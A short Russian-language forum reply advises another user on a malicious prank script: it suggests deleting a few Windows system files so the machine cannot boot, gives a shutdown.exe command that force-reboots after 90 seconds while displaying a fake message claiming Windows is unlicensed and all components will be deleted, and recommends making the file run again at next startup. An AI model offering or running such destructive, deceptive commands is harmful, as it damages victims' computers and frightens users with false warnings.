Vadikan, А зачем удалять все системные файлы достаточно нескольких чтобы машина не загрузилась, а насчет закрытия окна можно что-то вроде этого перед окном ввода пароля
читать дальше »
shutdown.exe -r -f -t 90 -c "Ваша версия Windows признана НЕ ЛИЦЕНЗИОННОЙ! Приобретите лицензионную версию у дилеров Microsoft. Сейчас будут удалены все компоненты Windows. Прощайте..."

Здесь же прописать запуск файла при следующей загрузке!
Машина в ребут, юзер в шоке...